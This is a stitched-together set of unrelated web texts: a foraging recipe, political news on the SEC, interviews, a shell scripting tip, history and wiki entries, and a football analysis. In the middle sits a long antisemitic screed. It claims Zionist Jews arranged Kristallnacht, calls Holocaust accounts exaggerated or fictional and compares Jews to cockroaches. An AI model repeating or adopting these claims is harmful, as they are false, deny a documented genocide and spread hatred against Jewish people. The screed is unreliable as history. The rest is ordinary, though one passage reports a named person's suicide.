The tender needle shoots and tips of the white fir "taste like tangerine," Jacobson says, and he uses them to brighten a stock with wild sorrel, goat cheese whey and lemon juice to be ladled over hamachi.
Jacobson also incorporates white fir and pine needles into butter, which he mashes into simple baked potatoes.
John Critchley, executive chef at Washington, D.C.'s Bourbon Steak, considers using pine needles a return to his roots. A native New Englander, he says it is still a common practice there to incorporate the forest on the plate.
"If you're a fan of mushrooms, the taste is very similar," he says. "It doesn't taste like you're eating sap or anything – it just gives you the aroma of the woods."
He covers glass jars of the shoots with cider or brown rice vinegar in early spring, allows them to sit all summer, then uses the vinegar to brighten his fall and winter dishes. He's currently using pine and spruce vinegar in a sauce with hedgehog mushrooms, which he adds to a seared tuna and black truffle ravioli dish.
If you want to try this at home, the recipe is super simple. Here it is, courtesy of Critchley.
Pine Or Spruce Vinegar
About 1/2 lb. pine or spruce shoots
1 gallon mason jar
Enough brown rice vinegar to cover
Cover the shoots with brown rice vinegar, cap, and let sit for one month.
When ready to use, strain the liquid through a cheesecloth and discard the shoots.Sen. Elizabeth Warren Elizabeth Ann WarrenSanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' House to push back at Trump on border GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (D-Mass.) took the remarkable step Friday of calling on President Obama to remove one of his top financial regulators immediately.
In a letter sent to the president, Warren made the case that Mary Jo White, Obama’s hand-picked head of the Securities and Exchange Commission, had engaged in “extraordinary, ongoing efforts to undermine the agency’s central mission.”
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The letter marks the climax of a steadily building feud between Warren and White over Wall Street, leaving one of the Senate’s loudest voices opposing Wall Street publicly undercutting one of the administration’s top Wall Street watchdogs.
“I do not make this request lightly. I have tried both publicly and privately to persuade Chair White to direct the agency's resources toward pressing matters of compelling interest to investors and the public, and toward completing those rules that Congress has required it to implement,” wrote Warren. “But after years of fruitless efforts, it is clear that Chair White is set on her course. The only way to return the SEC to its intended purpose is to change its leadership.”
Warren called on Obama to immediately remove White as the SEC’s chair and replace her with another one of the two current SEC commissioners. Such a move could happen quickly and would not require Senate confirmation.
Such a dramatic change at the top of Obama's administration seems unlikely in the final months of his time in office. But Warren's letter is also a clear indication that the liberal wing of the party is intensely interested in who is steering top regulators and what sort of job they are doing, weeks before voters pick a new president.
In the 12-page letter, Warren made the argument that White had regularly ignored the will of Congress and the administration and instead had pushed initiatives favorable to corporations with little benefit to the public.
Warren’s primary complaint, and one shared by other Democrats, is White’s refusal to begin work on a rule that would require corporations to disclose their political spending activities. Such a contentious initiative has been sought by Democrats ever since the Supreme Court’s ruling in Citizens United v. Federal Election Commission, which opened the doors to a huge increase in political spending by outside organizations.
The SEC has not made headway on that rule under White and in fact has removed it from its regulatory agenda altogether. Republicans in Congress have included riders in the last two spending bills barring the use of funds to write such a rule, but Warren argued that project is never going to move forward under White’s “brazen conduct.”
White’s refusal to take on a political spending rule has infuriated Warren and other key Democrats, including Sen. Charles Schumer Charles (Chuck) Ellis SchumerBrennan fires back at'selfish' Trump over Harry Reid criticism Trump rips Harry Reid for 'failed career' after ex-Dem leader slams him in interview Harry Reid: 'I don't see anything' Trump is doing right MORE (N.Y.), who is expected to serve as the Senate’s top Democrat in 2017.
While policy riders have limited the SEC’s ability to work on such a rule, Democrats are incensed that the SEC is not even taking apparent steps to prepare to act on the rule if a future funding bill drops that provision.
Warren also re-aired a lingering grudge with White’s push to potentially simplify corporate disclosures, calling it a “far-reaching, time-intensive, anti-disclosure initiative cooked up by big business lobbyists.”
White had previously suggested that investors may be suffering from “information overload” when it comes to corporate disclosures and launched an initiative to explore if there is a way to streamline the process. But Warren and others on the left have cried foul over the project, arguing it would let corporations give the public less information.
Warren also aired grievances about the SEC’s delays over implementing some lingering rules from the Dodd-Frank financial reform law, which was passed back in 2010.
White, a former federal prosecutor and white-collar lawyer, was unanimously confirmed by the Senate back in 2013. Among the senators supporting her nomination was Warren.
But since then, the two have fallen into an increasingly acrimonious relationship, coming to a head Friday with Warren’s call for White to effectively be fired from her post.
However, it is not clear how Warren’s message will be received in the White House. After a previous critique of White by Warren back in June 2015, White House press secretary Josh Earnest threw Obama’s support behind the SEC chief.
“The president does continue to believe that she is the right person for the job,” he said at the time. A White House spokesperson did not immediately respond to a request for comment Friday.
And with just months remaining in Obama’s time in office, there is little expectations of any major staff shakeups in the closing stretch.
Warren did not specify who should replace White at the top of the SEC, but it’s likely she would want to see Kara Stein, the other Democratic commissioner who is seen as less friendly to the financial sector, as her successor. The SEC is currently short-staffed, as the Senate has stalled on two nominees to join the SEC as commissioners. That means that if White were removed, that would leave just Stein or Michael Piwowar, a Republican, to |
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10:00 ZZ VLAD MAT223H1S A - HUA MON 17 APR EV 7:00 - 10:00 EX 100 MAT223H1S HUI - PAR MON |
as long as it did not bother the Palestinians. Exactly how the British could accomplish such a feat was what we might refer to as “a minor detail” that the British never bothered to explain. The British government had agreed to something that they could easily back out of on the grounds that they cannot see how they can help the Jews without annoying the Palestinians. What this means is that the Zionists did not get anything of value from the British or the French. Did the British or the French get anything from the Zionists? Since it appears that the Zionists helped encourage America to get into the war, it seems that the British got what they wanted. Therefore, we might say that it appears as if the British outsmarted the Zionists in this particular situation.
Britain becomes guardian of Palestine World War One changed the situation dramatically in Palestine because Turkey was a loser in that war. British troops in 1918 drove the Turks out of Palestine. The Palestinians then became free to have their own nation again, but they did not have a government because they had been under Turkish control for many generations. Britain agreed to maintain some troops in Palestine and protect the area until 1948 in order to give the Palestinians a chance to form their own government and recover from the war. This policy became official in 1922 when the League of Nations agreed to the plan. The British protection was scheduled to stop in 1948, at which time it was assumed the Palestinians would be capable to taking care of themselves. The protection of Palestine by the British created a dilemma for the Zionists. The goal of Britain was to protect Palestine from outside forces, and that meant protecting them from Zionists. However, the Balfour Declaration would come back to haunt the British. When Turkey had control of Palestine, that declaration was a meaningless piece of paper. Now that Britain was guardian of Palestine, the Jews would use it to pressure the British into letting Jews emigrate to Palestine. After the war the Jews took the Balfour Declaration to the League of Nations and convinced them to approve it also. Then they could put even more pressure on the British government by saying that even the League of Nations agrees to the idea of a Jewish home in Palestine. We could now say that the Zionists had outsmarted the British.
Jews arrive in Palestine in large numbers After World War I was over, the Jews used the Balfour Declaration to put pressure on the British government to allow a small group of Jews to emigrate to Palestine. However, this resulted in arguments and fights with the Arabs who were living in the area. The British government responded by prohibiting additional emmigration.
The Jews responded by waving the Balfour Declaration in front of the British government officials, and whining, pouting, and using other tricks to manipulate the British government into making "just one more" exception to allowed "just one more" small group of Jews to emigrate to Palestine.
The British government would give in to their demands, and the result would be more fights between the Jews and the Arabs, and the British government would respond by prohibiting further immigration. The cycle was repeated over and over, year after year. Palestine was becoming a battlezone between Zionists and Palestinians, and the Zionist population kept rising. The British government let themselves get pushed into a ridiculous situation. They had signed the Balfour Declaration which gave their approval to a Jewish homeland in Palestine, but their main priority was to protect Palestinians. There was no way the British could appease both groups of people. They ended up doing what politicians in democratic nations do all the time. Namely, they occasionally appeased both groups. The end result was that the situation became more of mess than before the British government got involved. As the population of Jews in Palestine increased, the Jews became increasingly arrogant and demanding. Some of the Jews eventually reached a point where there were no longer content to kill only the Arabs; specifically, they occasionally attacked the British, and even killed some British soldiers. The creation of Israel had become more important than the lives of their British "friends".
The Americans could have been the first Nazis The Zionists were considered as " terrorists " prior to 1948, by both the British and the Americans. It is interesting to consider that if the Americans had been conducting their self-righteous, anti-terrorist campaign during the early 1900's, they would have been tossing those Daisy Cutters, and other adorable bombs with cute names, all over Palestine in order to kill the Zionists and defend both the Palestinians and the British. The Americans would have been killing Jews before Hitler came to power.
The Jews benefitted from Hitler more than from Moses The Zionist movement changed dramatically when Hitler came to power. As you probably know, the Nazis considered the Jews to be a menace to society. When the Nazis first acquired power in 1933, they confiscated businesses from the Jews and harassed them. The Nazis wanted the Jews to get out of Germany. The Zionists also wanted Jews out of Europe and into Palestine to help with the creation of Israel. With so many people wanting to get Jews out of Europe, it is not surprising that many of the Jews reacted by leaving Germany after "Crystal Night".
I will not bother explain it in this document, but it was the Zionist Jews who arranged for, and were responsible primarily responsible for, "Crystal Night", and the reason was to drive the Jews out of Germany and into Palestine. The flow of Jews out of Germany helped the Zionist movement because some of those Jews decided to join the Zionist cause. Some of those Jews moved to Britain where they assisted in outsmarting the British government officials into allow Jews to move to Palestine. Some Jews moved to America where they assisted in outsmarting the Americans government officials. Other Jews moved to Austrialia, Canada, and other nations, where they they assisted in outsmarting those governments. Sometime after 1940 the Nazis decided that driving the Jews into the neighboring nations was not solving the Jewish problem since many Jews were refusing to leave Germany. The Nazis decided to put those stubborn Jews into concentration camps. That turned out to be the greatest event that has ever happened to the Jews because after World War Two was over, the Jews would hold up the concentration camps and use them to gain pity from everybody on the planet. I won't bother to explain it in this document, but take a look at the evidence that the Zionist Jews were secretly involved with the Nazis, and that the Zionist Jews were willing to sacrifice the non-Zionist Jews in order to help Israel become established. Did you know that Theodore Herzl promoted the use of anti-Semitism in order to manipulate both Jews and non-Jews? From 1945 onward, the world has become saturated with sad stories about the Holocaust. It seems as if every Jewish author has written at least one book, play, or article about the Holocaust. It seems as if every Jewish moviemaker has created at least one Holocaust movie. It is difficult to get through a single day in America without hearing at least one reference to Nazis or Holocaust victims.
Where would the Jews be today if it hadn't been for Hitler? Just like animals, groups of people have been fighting with their neighbors long before history was recorded, so every group of people can whine about being the victim of a brutal war, and everybody could even claim to be the victim of a Holocaust. Everybody can claim that they have been attacked by “a Viking Hitler”, or "a Chinese Hitler", or "a Protestant Hitler", or "an Aztec Hitler". Even Christians use Hitler and Nazis to manipulate emotions. Was it Rush Limbaugh who created the word "feminazis" to refer to women he did not like? Consider how awful the world would be if every group of people and every religion were to saturate us with their particular holocaust stories in movies, newspapers, and daily conversations. Imagine if, day after day, year after year, the French made us listen to their holocaust stories of how they suffered abuse from the British and the Germans. Imagine if the victims of Napoleon and the French Foreign Legion were bombarding us with their holocaust stories. How about the Native Americans providing holocaust stories about how they suffered from the European immigrants? Don't forget the central Europeans who have holocaust stories about how they suffered from the Nazi-Vikings. Incidentally, for those of you who like to pity the Native Americans, each of those tribes fought with their neighbors, so each of the Native American tribes could whine about being victims of other Native Americans. Imagine if every day some Native American was whining about how his ancestors were victims of other Native Americans. It seems as if most books and movies in America find a way to remind us of Hitler or Nazis. Imagine that every group of people were to provide as many holocaust books and movies as the Jews. Imagine that every time you look in a newspaper or magazine, or every time you watch the TV news, you have to put up with somebody's holocaust story. We are lucky that only Jews do this. None of the books or movies about the Holocaust are serious; rather, they try to stimulate pity of Jews and hatred of Nazis. The Holocaust stories are attempts to manipulate, not educate. Furthermore, take a look at the evidence that some of the Holocaust stories are exaggerated, and others are complete fiction. I won't bother to explain it in this document, but you should be able to figure out that the reason the Jews want laws against "Holocaust Denial" is to frighten us into accepting the Holocaust stories rather than investigate history. The Zionist Jews are exploiting the suffering and death of the other Jews. The moment a Jew suffers or dies, the other Jews look for ways to exploit the situation. It reminds me of the way cockroaches immediately begin eating one another when one of them dies. It also reminds me of the way American lawyers try to profit from crimes and fights. Our lawyers are not interested in understanding why fights or crimes are occurring, nor do they show any desire to prevent future problems. Instead, they look for ways to profit from other people's problems.
America becomes a Superpower World War Two changed the world in one other very significant way. Specifically, it put America into the role of world leader. In 1945 America found itself with lots of advanced European technology and weapons. A group people with almost no understanding of Palestine, Zionism, or much else, suddenly became the world leader.
"It's your problem now; we're out of here!" Britain had agreed to remove its soldiers from Palestine in 1948. It was assumed that by 1948 the Palestinians would be ready to function as an independent nation. Unfortunately, in the decades prior to 1948 the Zionists had been moving into Palestine and fighting with the Palestinians in an attempt to drive them off the land. The Palestinians never got their government established due to the fighting, terrorism, and chaos. When World War Two began, Britain turned its attention to the war. After the war they were busy recovering from it. The British people were no longer much interested in protecting Palestine; rather, there were more concerned about their own nation. The British government decided to remove their troops in 1948 despite the fact that the Palestinians were not ready to govern themselves. In February of 1947 Britain warned the United Nations that the problem will be in their hands in 1948. So, in 1947 the representatives at the United Nations discussed what to do with this disaster in Palestine. Somebody brought up the suggestion that Palestine be divided into a Jewish area and a Palestinian area. He even provided a map and showed how to divide the land. The Palestinians and other Arab nations considered this to be unacceptable. Government officials in democratic nations tend to be submissive ; ie, they try to please as many people as possible. British government officials are no exception. Voting for the proposal to divide Palestine would upset the Palestinians, and voting against it would upset the Zionists. The solution the British officials came up with was to avoid voting. Nine other nations also decided not to vote. The United Nations is nothing more than a meeting place where representatives discuss issues (and avoid controversial issues). The representatives discussed this proposal to divide Palestine, but since the nations could not agree to anything, nothing was done about it. The United Nations then ignored the problem and moved on to other issues. How will the world ever become a nice place to live when democratic government officials have this tendency to please as many people as possible and avoid controversial problems? The United Nations is regarded by millions of people as a great organization that solves problems, but I challenge you to find one problem that it has solved. The UN representatives discuss a lot of issues, but they don't solve any problems. When the United Nations makes a decision to do something, such as to bomb Iraq in 1991, it is due to pressure by America. America virtually controls the United Nations. (Ariel Sharon supposedly announced to the Israeli government that the Jews control America, in which case the Jews actually control the United Nations.)Amon26 enjoys dabbling in multimedia. After receiving the encouragement of fan mail, fan art and some positive coverage for his first release, All of Our Friends Are Dead, it seems that videogame development has stuck.
Name?
Amon 26, born Benjamin Braden.
Age?
28.
Location?
Michigan. The rust-belt.
Development tool(s) of choice?
What do you do?
Multimedia Entertainer Extraordinaire!! (Composing music, making games, toys, jewelry. Anything that could potentially incite fun).
What do you want IT to do for you?
Do enough of it to pay the rent, fill the fridge, and have a night on the town every now and again.
How did you get into game development?
Curiosity! I love games and wanted to see what kind I could make. It started when found a open, comprehensive platformer code base and tried to project an idea onto the technology that excited me. It was as sloppy and self indulgent as they come (posting it online was almost an after-thought really). So when my mailbox exploded with fan mail, drawings, and reviews I was very flattered. Even though I really didn’t know what I was doing, people seemed to like it. So I just kept going.
What are your goals and aspirations as a game developer?
Make stuff that’s fun! I don’t really do competitions. I never got in this to “win”. I enjoy a good story, a good challenge, or a good joke. And if I can accomplish at least one of those three with anything I make, then I’m proud of my work. It would be nice to make this a career for a while, of course. Money is a good thing to have (it helps you buy decorative lawn ornaments and get to cool places).
How far do you think you have come as a game developer? Can you pretty much make any concept you come up with?
I can now write the code for my games from the ground-up. It’s not the most elegant code but if it runs smooth and doesn’t crash I’m good! Since my style is primarily NES - SNES era, most of my ideas are within reach. However, 3D still really intimidates me and I have some really fun 3D game concepts. For now though, it’s so far beyond me. Down the road I’d like to lead a small team and attempt to make an offbeat yet commercial product for steam, a console system or a mobile device.
What are some of the important lessons you have learnt so far about finishing up and releasing projects?
1. Never look at all you have to do, just what you have to do next. If an idea isn’t working, drop it or trim it down to something you know how to do. (i.e: You decide you want to cross a river by building a bridge, but you don’t have enough wood yet. So just build a boat instead). You can always come back and try that “big” idea after you get more experience.
2. There will be people who hate your work, and they will want you to feel bad for sharing it. This isn’t in any way constructive criticism and you have better things to do with your time than waste it listening to them bemoan a free download. If Uwe Bohl can make a living and be happy with his life and career in spite of being the bullseye for film critics around the world, what’s stopping you?
3. Make bad games on purpose sometimes!!! It’s fun!!! One of my favorite experiences was on a laptop in a bar, I decided to make a game in 1 hour and let my only input be the feedback of inebriated patrons. I made the art in MS-Paint and the sounds with the built in mic. I titled it “Lets Win Everything” and it’s a purposeless technicolor mess but it never fails to get a laugh out of anyone I show it to. It also reminds me of good times.
How do you approach the development process and what do you find the most satisfying parts of that process?
I get a picture in my head of something that would be fun to play, then make a mock-up of it in Photoshop, then break it apart into assets, tiles, backgrounds, effects, and start working a rough prototype of the code to make the basic parts move how I want. Once it starts to behave in the manner I imagined, I start making the code more bulletproof and start adding stuff, just throwing things at the system until it breaks. Then I trim it back until it stops being broken, and repeat that process over and over until the game’s complete!
And the most tedious parts?
Bug hunting. I’m not an amazing coder, so it happens a lot. Sometimes I just have no clue how to phrase something in the code I want to happen and I’m stuck pouring through wiki forums, and sending S.O.S'es out to other developers who know more about programming than I. If it weren’t for the help of generous people willing to show me better programming methods, I’d be a dead fish right now.
Any super-regular helpers you want to give props to?
What mediums have you turned to for inspiration for your games thus far?
I’m kind of an omnivore when it comes to entertainment. Obviously, some of my work has come from nightmares, but I’ve tempered those experiences with real life stuff like a scene from a film, a line from a book, a burned out house, a creepy real life experience or a painting. At the moment I’m making a very colorful, bombastic game that’s really meant to be a giant love-letter to 80s / 90s kitsch. So I’ve been soaking in lots of punk-rock, B-52’s, Bubblegum Pop, Sonic The Hedgehog, Top Gun, and the Saturday Morning Cartoons I grew up on. I’m hoping to absorb all of that manic energy and have the end result feel like something zesty that stands on its own two feet while being able to reflect all those influences in a tasteful way.
Apparently game development is an especially time consuming hobby and I know you like to work with other forms of media such as writing, drawing and composing. How much of your time does it eat up and does it leave enough room for the other stuff?
It’s time well spent, but you’re right, it is a lot of time isn’t it? I still really enjoy getting out with friends, traveling, or just being off the computer though. I think I make it work by letting the fact that this is what I do be part of my being (it’s part of who I am). Sometimes if it’s appropriate I’ll bring along my laptop or a pen / paper when I’m out and do little bits of game developing while with friends. They can spot things I might overlook or just come up with a really good idea I would never have thought of. Anyways, you’d be surprised just how much time you really have if you look!
Do you crave your games to be seen by a wider audience?
I’d really like that, yes! But at the same time I’m happy that I’m like a well-kept secret. I can still personally respond to every e-mail I get from someone that’s enjoyed my work. I’ve made a lot of friends that way and often they share work that they’re doing, and I love seeing that.
When you make a game, do you aim to please your audience or yourself? Do you make games that you, yourself, want to play?
It’s a tightrope walk. Whenever I set out to make something I have an audience in mind, and of course, want to see it land on target. But at the same time, if I don’t like playing the game I’m creating then I feel I’m wasting time. I guess I consider myself part of the audience as I go.
And do you actually play them after you’re done or does the enthusiasm dissipate?
Oh yes, I went back to play All Of Our Friends Are Dead a while ago. It kicked my ass really bad! I had forgotten just how tough that game was. And in the process of playing it I got a few new ideas for something I’m making at the moment. So yeah, I enjoy going back and playing stuff I made.
You live in your mom’s apartment, right? Do you find this environment to be inspirational or de-motivational towards game development?
It’s real rough, but she needs a lot of help. I have a 87 year old grandma and a teenage brother with significant autism. So I live with them all to help out (sort of a mr. mom kinda thing). Making food, running errands and keeping plans organized. I share a lot of my earnings with them to help out. It’s tough though. I can’t do this forever and I’m pushing 30. I don’t want to be “That Guy” and they need to stand on their own two feet. They’ve all been so incredibly supportive though, and are really sweet people. It’s hard for me to just say “well, good luck, thanks for the food!”
Do you enjoy working in isolation?
Sometimes I really appreciate a long isolated stretch where I can just grind out tons of content without interruption. But if I go on working like that for too long, I become a mole. I can get reclusive sometimes but I don’t like the idea of being a shut-in. So when I find myself getting a little too stagnant I try to find something to break me back out into the world. I enjoy being around people and travelling. I also like going to divey old bars in the bad parts of town, singing karaoke, learning bar tricks and swapping stories with crazy old people. It all feeds back into the process of creation I think, and if I didn’t let myself have an extroverted life, I would never have anything fresh to come back into this dark little room with to print to the screen.
So are you particularly self-disciplined when spending your time in game development mode or are you easily distracted?
Depends: in the long, boring center of a design arc it can be really easy for me to want to drop it and just do something more instantly gratifying. But nothing gets accomplished if I just keep switching gears, so I guess I have a pretty decent amount of self discipline.
Do you find it easy to stick to one project at a time or do the ideas come thick and fast?Tragic news today from sources that NAMA developer and well-known publican Hugh O’Regan, aged 49, has taken his life. As a developer, he might be best known for the development of the four-star Morrison Hotel in Dublin city centre which was sold earlier this year for about €22m and is presently undergoing a multi-million euro refurbishment under the auspices of its new owner, Russia’s richest woman, Yelena Baturina.
His chain of Thomas Read pubs included the Bailey, Pravda, Ron Black’s, Lincoln’s Inn and Searson’s – he sold the group in 2005 for a reported €30m. In 2009, liquidators were appointed to a group of his companies which reportedly had debts of nearly €300m overall, these debts were understood to have transferred to NAMA. The debts related to the development of the former Kilternan Hotel and Country Club in Dublin and the former Hibernian United Services Club at 8 St Stephen’s Green. Earlier this year, a group of protesters occupied one of his properties slated for development as an office block on Great Strand Street in Dublin city centre.
In July 2012, Hugh was sanctioned by the High Court in Dublin and restrictions were placed on him in respect of acting as a company director for the next five years. In July 2002, Hugh’s brother, John, also succumbed to suicide.
Hugh is believed to be at least the second NAMA developer to have taken their lives – earlier this year, word was received of another NAMA developer dying by suicide.
UPDATE: 27th November, 2012. With thanks to Gillian Nelis at the SBP for constructively drawing attention to guidelines published by the Samaritans on reporting suicide. For anyone affected by the death of Hugh, the Samaritans is available for anyone in any type of distress on 08457 90 90 90 in the UK or 1850 60 90 90 in the Republic of Ireland or by email at jo@samaritans.org. Comments will be disabled on this blogpost, but it’s worth saying that every single comment received was respectful to Hugh and his family.
AdvertisementsTurn on -e mode (do you feel lucky - punk?)
In this mode any command your script runs which returns a non-zero exitcode - an error in the world of shell - will cause your script to itself terminate immediately with an error.
You can do that in your shebang line:
#!/bin/sh -e
Or using set:
set -e
Yes, this is what you want. A neat predictable failure is infinitely better than a noisy unreliable failure.
If you REALLY want to ignore an error, be explicit about it:
# I don't care if evil-broken-command fails evil-broken-command || true
Oh and as long as you're messing with shell modes, -e goes well with -x (which I like to think of as shell X-ray).
Like this:
#!/bin/sh -ex
Or like this:
# turn -x on if DEBUG is set to a non-empty string [ -n "$DEBUG" ] && set -x
That way you can actually see what your script was doing right before it failed.I am not so certain this is even the right approach. Essentially, I would like to control some WiFi lights (Milight/LimitlessLED brand) so that I can fade out and fade in lights when videos are played on YouTube, Netflix, and other similar services.
The only way to communicate with the lights is by sending UDP messages, and it seems the only way I can access a UDP socket in chrome is either through a chrome app, or a native app.
Native apps seem better, as I can bundle them along with an extension while I don't seem to be able to do that with a chrome app. But in the examples I've seen in documentation, a portable native app (PNaCl), is embedded into a page using <embed>.
Well, a content script can create an tag, but then how could I load the native app without violating the same origin policy? Or would there be a better solution to what I'm trying to do?Joel is one of the so-called minor prophets in the Bible. He appears to have been active in the late sixth- or early fifth-century BCE, in the aftermath of the destruction of the kingdom of Judah. A careful reading of his short and furious oration shows that it may have been also an interpretation of a second catastrophe. A plague seems to have decimated the land—locusts, cankerworms, caterpillars. “The field is wasted.” First the Babylonians, then the bugs: Joel is a morose man, an angry peddler of apocalypse. “The day of the Lord is at hand, and as a destruction from the Almighty shall it come.” The miseries of the people and the land notwithstanding, Joel is pitiless. Destruction will be succeeded by destruction. Gloom will follow gloom. Unless, of course, the people repent. Catastrophe, in this ancient but still flourishing view, is understood punitively, as an effect of sin. So “turn ye even to me with all your heart, and with fasting, and with weeping, and with mourning,” the prophet exhorts. “Sanctify ye a fast, call a solemn assembly.” Only “then will the Lord be jealous for his land, and pity his people.”
There is a man half-running for president in the United States who has adopted Joel’s plan. He is Rick Perry, the suave and shallow governor of Texas. He has issued “a call to prayer for a nation in crisis,” which he calls The Response. He proposes to fill a stadium in Houston—Reliant Stadium, it is charmingly called—with contrite Americans, and thereby change the course of our country. “Some problems are beyond our power to solve,” he explains, “and according to the Book of Joel, Chapter 2, this historic hour demands a historic response.... We want to see real change across our nation that only our God can perform. Will you join us in Houston? Will you pray, fast, and believe with us for a mighty move of God in our nation again?”
In religious life, there is almost no more vexing matter than the efficacy of prayer—I mean its efficacy not upon the individual, who will certainly be affected by the intensity of the experience, but upon the world, which is notoriously unmoved by our feelings and our needs; but Rick Perry is not, to put it mildly, a philosophically stimulating occasion, and so I will put aside my reasoned opinion that thousands of sobbing and hungry Texans at the forty-yard line will not alter America. There are other elements of The Response that alienate me. It is, for a start, sectarian, which is to say, Christian. In a pluralistic society, after all, even a majority is a sect. “Our future demands a historic response from the church,” Perry writes. “As a nation, we must come together, call upon Jesus to guide us through unprecedented struggles.... We want the presence, power, and person of Christ to fill our nation.” Who is we? Surely the fate of America will not be determined without the collaboration of the masses of citizens who are contentedly uninterested in the presence, power, and person of Christ. Perry’s faith is a nasty doctrine of exclusion: in 2006, when he heard Reverend Hagee teach that those who deny “the authority of Christ and his blood” will go “straight to hell with a nonstop ticket,” Perry assented. “I’m a believer of that,” he eloquently testified.Juan Garrido ( Spanish: [xwaŋ gaˈriðo]; c. 1480 – c. 1550[1]) was an African conquistador who was born in the Kingdom of Kongo. Mwisi Kongo or Kongolese by birth (not to be confused with Congolese from the Democratic Republic of the Congo (DRC) or the Republic of Congo aka Congo-Brazzaville; these two countries were created after the Berlin Conference of 1884-1885), he went to Portugal as a young man.[2] In converting to Catholicism, he chose the Spanish name, Juan Garrido ("Handsome John").
He joined a Spanish expedition and arrived in Santo Domingo (Hispaniola) about 1502. He participated in the invasion of present-day Puerto Rico and Cuba in 1508. By 1519 he had joined Cortes' forces and invaded present-day Mexico, participating in the siege of Tenochtitlan. He married and settled in Mexico City, where was the first known farmer to have sowed wheat in America. He continued to serve with Spanish forces for more than 30 years, including expeditions to western Mexico and to the Pacific.[3]
Early life and education [ edit ]
Born in the Kingdom of Kongo or "Kongo dia Ntotila" in Kikongo language, he went to Portugal as a youth.[2] When baptized, he took the name Juan Garrido (Handsome John). He went to Seville, where he joined an expedition to the New World, possibly traveling in assistance to Pedro Garrido's (Handsome Peter).
Arriving in Santo Domingo in 1502 or 1503, Garrido was among the earliest Africans to reach the Americas. He was one of numerous Africans or possibly a "freedmen" who had joined expeditions from Seville to the Americas.[1] From the beginning of Spanish activity in the Americas, Africans participated both as voluntary expeditionaries and as involuntary enslaved colonists.
By 1519 Garrido participated in the expedition led by Marqués del Valle Hernán Cortés to invade Mexico, where they lay siege to Tenochtitlan of the Three Allies (formerly known as the Aztec.) In 1520 he built a chapel to commemorate the many Spanish killed in battle that year by the Aztec.
Garrido married and settled in Mexico City, where he and his wife had three children. Restall (2000) credits him with the first harvesting of wheat planted in New Spain.
Garrido and other blacks were also part of expeditions to Michoacán in the 1520s. Nuño de Guzmán swept through that region in 1529-30 with the aid of black auxiliaries.[4][5]
In 1538, Garrido provided testimony on his 30 years of service as a conquistador
"I, Juan Garrido, black in color, resident of this city [Mexico], appear before Your Mercy and state that I am in need of providing evidence to the perpetuity of the king [a perpetuidad rey], a report on how I served Your Majesty in the conquest and pacification of this New Spain, from the time when the Marqués del Valle [Cortés] entered it; and in his company I was present at all the invasions and conquests and pacifications which were carried out, always with the said Marqués, all of which I did at my own expense without being given either salary or allotment of natives [repartimiento de indios] or anything else. As I am married and a resident of this city, where I have always lived; and also as I went with the Marqués del Valle to discover the islands which are in that part of the southern sea [the Pacific] where there was much hunger and privation; and also as I went to discover and pacify the islands of San Juan de Buriquén de Puerto Rico; and also as I went on the pacification and conquest of the island of Cuba with the adelantado Diego Velázquez; in all these ways for thirty years have I served and continue to serve Your Majesty—for these reasons stated above do I petition Your Mercy. And also because I was the first to have the inspiration to sow wheat here in New Spain and to see if it took; I did this and experimented at my own expense.[6]"
See also [ edit ]
References [ edit ]
Further reading [ edit ]I caught up with JoRoan Lazaro, who designed the icon for AOL when he worked there in the mid-'90s. (Lazaro went on to work at EA, Second Life, and a handful of advertising agencies. Today he's creative director at The Martin Agency in New York.) Here's the lightly edited and condensed version of what he told me about the running man's origins.
* * *
"The design was part of a larger redesign effort that was in the first half of 1997 where we redid the entire client software and all of the content channels. It was a really great opportunity to jump into digital, which was a very nascent kind of a discipline back then. The version of AOL, the client software back then, was 3.0. It was still very—how do you say without being too negative?—it was still kind of primitive.
"The iconography looked a little bit more like Microsoft Word. There were rendered icons, they weren't labeled. It was sort of a functional interface. What we did as a design was we embedded a web browser into the client toolbar. That was significant because back then we were still literally teaching people how to'surf the net,' use email. Instant messaging was brand new. This was a very new thing. There was no formal [web design] discipline, but I did have a background in design and magazine design.
"The [running man] design came about because I was spending a lot of time looking at 1940s and '50s postwar American logos and trademarks. If you go back to '40s and '50s logos and trademarks, you'll see that there's actually quite a few men that were used—a silhouette that either had curved legs or angular legs and a round head, in addition to the ones that looked quite a bit more stylized or looked really, really human. The running man was really inspired by those.
"If you go through the history of '40s and '50s design, you'll see there's a sideways man with a round head that was very similar. You can see that it looked very much like that. Back then, the brands were using a lot of anthropomorphic if not outright people figures. The brands were trying to communicate essentially that they were reliable, authentic, they had quality and personality. So they would have simple farmers or electricians or plumbers holding things. That was the core concept... to actually have a person holding the objects that stood for something [across the toolbar]. There were hundreds of versions. The idea was there was a man holding a pencil for 'write email,' a man holding an envelope for'read mail,' a heart for 'favorites.' I went for something that was quite a bit more literal. Up until [right before launch], there were a lot more people holding objects. But at the very end we decided to take out some of them because some discussion and some other things going on, we decided to just dial down the number of people on the toolbar.Sometime last season we worked out the origin of Premier League match-day squads and it proved to be a popular talking point so we've done it all again. For the last round of games in the top flight we counted all the starting players and those on the bench - these are players actually being used in match-day squads in the primary competition so it's the best way we can think of being fair, we have no doubt that some will disagree.
The rules for allocating individual players to clubs were quite strict, the general rule was they had to have spent the majority of their youth development at the football team and not have been purchased for relatively large fees. For example, neither of the Da Silva twins counted for Manchester United and Raheem Sterling counts as QPR given that Liverpool paid £600,000 for him which has the potential to rise to £5m.
We had to be objective and therefore people will disagree on some choices.
Manchester United topped the list having produced an impressive 14 players who were in Premier League match-day squads, they also came top the last time around. We were as strict as possible on counting |
sum operation must use the same suffix; that is, the same unit. There aren't invalid operations between variables that hold values with incompatible units. For example, you might sum a voltage value to a resistance value and the code won't produce any error warning.
Now, imagine that Python adds support for units of measure. Each numeric value can have an associated unit of measure enclosed within <>. The following three lines would replace the previous code with an easier to understand syntax:
r1 = 500 <ohms> r2 = 5.2 <kilo-ohms> r1_plus_r2 = (r1 + r2) <ohms>
r1 holds a value of 500 and an associated unit of measure, ohms. r2 holds a value of 5.2 and an associated unit of measure, kilo-ohms. Because each variable includes information about its unit of measure, the sum operation is smart and it can convert compatible units such as ohms and kilo-ohms. The last line sums the two values taking into account their unit of measure, and converts the result to the specified unit, ohms. The r1_plus_r2 variable holds the result of the sum operation expressed in ohms. The following line would produce an exception because the units of measure are incompatible:
sum = (10 <volts> + 500 <ohms>) <inches>
However, the support should be smart enough to allow you to mix different length units. For example, the following line would produce a valid result in inches.
sum = (10 <inches> + 1200 <centimeters>) <inches>
